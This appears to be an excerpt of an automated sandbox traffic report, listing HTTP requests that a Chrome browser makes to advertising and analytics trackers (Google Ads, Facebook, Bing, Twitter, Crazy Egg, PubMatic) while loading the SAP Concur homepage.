Source: global traffic	HTTP traffic detected: GET /healthcheck HTTP/1.1Host: pagestates-tracking.crazyegg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/viewthroughconversion/1044530512/?random=1727944905089&cv=11&fst=1727944905089&bg=ffffff&guid=ON&async=1&gtm=45be4a10v879515729za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.concur.com%2F&hn=www.googleadservices.com&frm=0&tiba=Concur%20-%20Expense%20Management%2C%20Travel%20and%20Invoice%20Software%20-%20SAP%20Concur&did=dYmQxMT&gdid=dYmQxMT&npa=0&pscdl=noapi&auid=1251614241.1727944905&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&data=event%3Dpage_view&rfmt=3&fmt=4 HTTP/1.1Host: googleads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUmwMnQE6gopMh9bjnND9Ilv9wncBgeJD4FZoI8ES3xvryYs1FhrrVJ3MXxJ7Uk; ar_debug=1
Source: global traffic	HTTP traffic detected: GET /pagead/1p-user-list/1037794718?userId=a86be711c5706c39867bd5b89af77ecfb7b5ff8a34a08dc298b0354bf31ba3df&guid=ON&script=0&rand=0.19141949046631468&is_vtc=1&cid=CAQSKQDpaXnfxEjsVoEyZ8m3XOeCQKVL6P41I6vqtagpVCHzVQHzGamkLyxd&random=833662701 HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /clock?t=1&tk=72a03a20e8fe0c755228a321ef5dd933&u=576939&s=239594&p=%2F&v=7951811ba5d69361f31f19de66e99a1edbb8b01a&f=concur.com&ul=https%3A%2F%2Fwww.concur.com%2F HTTP/1.1Host: tracking.crazyegg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9MjE5MSZ0bD0yNTkyMDA=&piggybackCookie=Zv5YvgAAAEmPUQN- HTTP/1.1Host: image2.pubmatic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KRTBCOOKIE_218=22978-Zv5YvgAAAEmPUQN-&KRTB&23194-Zv5YvgAAAEmPUQN-&KRTB&23209-Zv5YvgAAAEmPUQN-&KRTB&23244-Zv5YvgAAAEmPUQN-; PugT=1727944909
Source: global traffic	HTTP traffic detected: GET /p/action/5284202.js HTTP/1.1Host: bat.bing.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: MUID=375E6F2E0D8F6B9C2CEB7C8E098F6DFE
Source: global traffic	HTTP traffic detected: GET /pagead/1p-user-list/711052864?userId=a86be711c5706c39867bd5b89af77ecfb7b5ff8a34a08dc298b0354bf31ba3df&guid=ON&script=0&rand=0.45890097778503525&is_vtc=1&cid=CAQSKQDpaXnfliERjYesD2_YVmVaAA8ZMtJN2Ma1dhLsi5UU_uPCrQ3HMPJJ&random=1236540770 HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/1p-user-list/998825301?userId=a86be711c5706c39867bd5b89af77ecfb7b5ff8a34a08dc298b0354bf31ba3df&guid=ON&script=0&rand=0.589641747490889&is_vtc=1&cid=CAQSKQDpaXnfsYm7YDaipI0SHUrdsIoPhzfqyfcPHNoLyRp7pVRIzaOE2PI9&random=2965414864 HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/1p-user-list/1012864666?userId=a86be711c5706c39867bd5b89af77ecfb7b5ff8a34a08dc298b0354bf31ba3df&guid=ON&script=0&rand=0.5402900193043743&is_vtc=1&cid=CAQSKQDpaXnfYppl-1uEpb0jqmocN2-I3gdtauKkvvy5Zm7KxFLjymi7OJiN&random=784130755 HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/1p-user-list/709440772?userId=a86be711c5706c39867bd5b89af77ecfb7b5ff8a34a08dc298b0354bf31ba3df&guid=ON&script=0&rand=0.2528743443960655&is_vtc=1&cid=CAQSKQDpaXnfK9joVecpK_R6xrtfFeY9fSXNojBxwzCTh9yG0I-9bIFl7ybJ&random=3830690712 HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/viewthroughconversion/1044530512/?random=1727944905118&cv=11&fst=1727944905118&bg=ffffff&guid=ON&async=1&gtm=45be4a10v879515729za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.concur.com%2F&hn=www.googleadservices.com&frm=0&tiba=Concur%20-%20Expense%20Management%2C%20Travel%20and%20Invoice%20Software%20-%20SAP%20Concur&did=dYmQxMT&gdid=dYmQxMT&npa=0&pscdl=noapi&auid=1251614241.1727944905&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&data=event%3Dgtag.config&rfmt=3&fmt=4 HTTP/1.1Host: googleads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUmwMnQE6gopMh9bjnND9Ilv9wncBgeJD4FZoI8ES3xvryYs1FhrrVJ3MXxJ7Uk; ar_debug=1
Source: global traffic	HTTP traffic detected: GET /fr/b.php?p=1531105787105294&e=Zv5YvgAAAEmPUQN-&t=2592000&o=0 HTTP/1.1Host: www.facebook.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://concur.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/viewthroughconversion/1044530512/?random=1727944905048&cv=11&fst=1727944905048&bg=ffffff&guid=ON&async=1&gtm=45be4a10v879515729za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.concur.com%2F&hn=www.googleadservices.com&frm=0&tiba=Concur%20-%20Expense%20Management%2C%20Travel%20and%20Invoice%20Software%20-%20SAP%20Concur&did=dYmQxMT&gdid=dYmQxMT&npa=0&pscdl=noapi&auid=1251614241.1727944905&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&data=event%3Dgtag.config&rfmt=3&fmt=4 HTTP/1.1Host: googleads.g.doubleclick.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUmwMnQE6gopMh9bjnND9Ilv9wncBgeJD4FZoI8ES3xvryYs1FhrrVJ3MXxJ7Uk; ar_debug=1
Source: global traffic	HTTP traffic detected: GET /pagead/viewthroughconversion/1044530512/?random=1727944905159&cv=11&fst=1727944905159&bg=ffffff&guid=ON&async=1&gtm=45be4a10v879515729za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.concur.com%2F&hn=www.googleadservices.com&frm=0&tiba=Concur%20-%20Expense%20Management%2C%20Travel%20and%20Invoice%20Software%20-%20SAP%20Concur&did=dYmQxMT&gdid=dYmQxMT&npa=0&pscdl=noapi&auid=1251614241.1727944905&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&data=event%3Dgtag.config&rfmt=3&fmt=4 HTTP/1.1Host: googleads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUmwMnQE6gopMh9bjnND9Ilv9wncBgeJD4FZoI8ES3xvryYs1FhrrVJ3MXxJ7Uk; ar_debug=1
Source: global traffic	HTTP traffic detected: GET /pagead/viewthroughconversion/1044530512/?random=1727944905089&cv=11&fst=1727944905089&bg=ffffff&guid=ON&async=1&gtm=45be4a10v879515729za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.concur.com%2F&hn=www.googleadservices.com&frm=0&tiba=Concur%20-%20Expense%20Management%2C%20Travel%20and%20Invoice%20Software%20-%20SAP%20Concur&did=dYmQxMT&gdid=dYmQxMT&npa=0&pscdl=noapi&auid=1251614241.1727944905&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&data=event%3Dpage_view&rfmt=3&fmt=4 HTTP/1.1Host: googleads.g.doubleclick.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUmwMnQE6gopMh9bjnND9Ilv9wncBgeJD4FZoI8ES3xvryYs1FhrrVJ3MXxJ7Uk; ar_debug=1
Source: global traffic	HTTP traffic detected: GET /1/i/adsct?bci=4&eci=3&event=%7B%7D&event_id=c068dcfd-ca1b-491a-8c12-33e5c436e420&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=35f5ea9a-2b64-46ef-9328-87b356563b44&tw_document_href=https%3A%2F%2Fwww.concur.com%2F&tw_iframe_status=0&txn_id=nvbph&type=javascript&version=2.3.30 HTTP/1.1Host: t.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /1/i/adsct?bci=4&eci=3&event=%7B%7D&event_id=c068dcfd-ca1b-491a-8c12-33e5c436e420&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=35f5ea9a-2b64-46ef-9328-87b356563b44&tw_document_href=https%3A%2F%2Fwww.concur.com%2F&tw_iframe_status=0&txn_id=nvbph&type=javascript&version=2.3.30 HTTP/1.1Host: analytics.twitter.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /p/action/5284202.js HTTP/1.1Host: bat.bing.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: MUID=375E6F2E0D8F6B9C2CEB7C8E098F6DFE
Source: global traffic	HTTP traffic detected: GET /tr/?id=908266409244597&ev=PageView&dl=https%3A%2F%2Fwww.concur.com&rl=&if=false&ts=1727944906574&sw=1280&sh=1024&v=2.9.170&r=stable&a=tmtealium&ec=0&o=4124&fbp=fb.1.1727944906571.511679254409708929&pm=1&hrl=e5f988&ler=empty&cdl=API_unavailable&it=1727944903152&coo=false&cs_cc=1&ccs=571787340739145%2C948429725587856&cas=7680814775312176%2C5990791997670507%2C5444333155657076%2C4147273351962304&rqm=GET HTTP/1.1Host: www.facebook.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /privacy_sandbox/pixel/register/trigger/?id=908266409244597&ev=PageView&dl=https%3A%2F%2Fwww.concur.com&rl=&if=false&ts=1727944906574&sw=1280&sh=1024&v=2.9.170&r=stable&a=tmtealium&ec=0&o=4124&fbp=fb.1.1727944906571.511679254409708929&pm=1&hrl=e5f988&ler=empty&cdl=API_unavailable&it=1727944903152&coo=false&cs_cc=1&ccs=571787340739145%2C948429725587856&cas=7680814775312176%2C5990791997670507%2C5444333155657076%2C4147273351962304&rqm=FGET HTTP/1.1Host: www.facebook.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAttribution-Reporting-Eligible: event-source, triggerReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /action/0?ti=5284202&Ver=2&mid=c69e9d03-9b0c-4bb1-9d9f-5db786db2968&sid=5368cde0816311efb2ab039a43363155&vid=536921a0816311ef9805b1b2443c78dc&vids=1&msclkid=N&uach=pv%3D10.0.0&pi=918639831&lg=en-US&sw=1280&sh=1024&sc=24&tl=Concur%20-%20Expense%20Management,%20Travel%20and%20Invoice%20Software%20-%20SAP%20Concur&kw=concur%20technologies,%20concur,%20business%20travel%20and%20expense,%20travel%20and%20expense%20management%20software,%20business%20travel%20and%20expense%20software,%20concur%20software,&p=https%3A%2F%2Fwww.concur.com%2F&r=&lt=8728&evt=pageLoad&sv=1&cdb=AQwD&rn=672060 HTTP/1.1Host: bat.bing.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: MUID=375E6F2E0D8F6B9C2CEB7C8E098F6DFE
Source: global traffic	HTTP traffic detected: GET /pagead/1p-user-list/711052864?userId=a86be711c5706c39867bd5b89af77ecfb7b5ff8a34a08dc298b0354bf31ba3df&guid=ON&script=0&rand=0.45890097778503525&is_vtc=1&cid=CAQSKQDpaXnfliERjYesD2_YVmVaAA8ZMtJN2Ma1dhLsi5UU_uPCrQ3HMPJJ&random=1236540770 HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/viewthroughconversion/1044530512/?random=885629817&cv=11&fst=1727944905140&bg=ffffff&guid=ON&async=1&gtm=45be4a10v879515729za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.concur.com%2F&label=PRHXCJzd_50DENCKifID&hn=www.googleadservices.com&frm=0&tiba=Concur%20-%20Expense%20Management%2C%20Travel%20and%20Invoice%20Software%20-%20SAP%20Concur&did=dYmQxMT&gdid=dYmQxMT&gtm_ee=1&npa=0&pscdl=noapi&auid=1251614241.1727944905&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&capi=1&data=event%3Dconversion&fmt=3&ct_cookie_present=false&crd=CLHBsQIIsMGxAgi5wbECCLHDsQIIisWxAgiRybECIgEBQAFKLGV2ZW50LXNvdXJjZSwgdHJpZ2dlciwgbm90LW5hdmlnYXRpb24tc291cmNlYgQKAgID&pscrd=CPD14LLlmsOuTCITCJD96bPo8YgDFeyIgwcdzfw5YzICCAMyAggEMgIIBzICCAgyAggJMgIICjICCAIyAggLMgIIFTICCB8yAggTMgIIEjoXaHR0cHM6Ly93d3cuY29uY3VyLmNvbS9CVkNoQUk4SUg1dHdZUWo3U2JrOGI4b19VbEVpd0E0cDJMOVplVXFLZXBTR25HUTZvNHlwZDRBNFBaVlpCM1Y4WWg5cnFTMGhhYkJkVExrcXh3QUdfMkJB HTTP/1.1Host: googleads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUmwMnQE6gopMh9bjnND9Ilv9wncBgeJD4FZoI8ES3xvryYs1FhrrVJ3MXxJ7Uk; ar_debug=1
Source: global traffic	HTTP traffic detected: GET /pagead/1p-user-list/709440772?userId=a86be711c5706c39867bd5b89af77ecfb7b5ff8a34a08dc298b0354bf31ba3df&guid=ON&script=0&rand=0.2528743443960655&is_vtc=1&cid=CAQSKQDpaXnfK9joVecpK_R6xrtfFeY9fSXNojBxwzCTh9yG0I-9bIFl7ybJ&random=3830690712 HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/viewthroughconversion/1044530512/?random=1727944905118&cv=11&fst=1727944905118&bg=ffffff&guid=ON&async=1&gtm=45be4a10v879515729za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.concur.com%2F&hn=www.googleadservices.com&frm=0&tiba=Concur%20-%20Expense%20Management%2C%20Travel%20and%20Invoice%20Software%20-%20SAP%20Concur&did=dYmQxMT&gdid=dYmQxMT&npa=0&pscdl=noapi&auid=1251614241.1727944905&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&data=event%3Dgtag.config&rfmt=3&fmt=4 HTTP/1.1Host: googleads.g.doubleclick.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUmwMnQE6gopMh9bjnND9Ilv9wncBgeJD4FZoI8ES3xvryYs1FhrrVJ3MXxJ7Uk; ar_debug=1
Source: global traffic	HTTP traffic detected: GET /fr/b.php?p=1531105787105294&e=Zv5YvgAAAEmPUQN-&t=2592000&o=0 HTTP/1.1Host: www.facebook.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
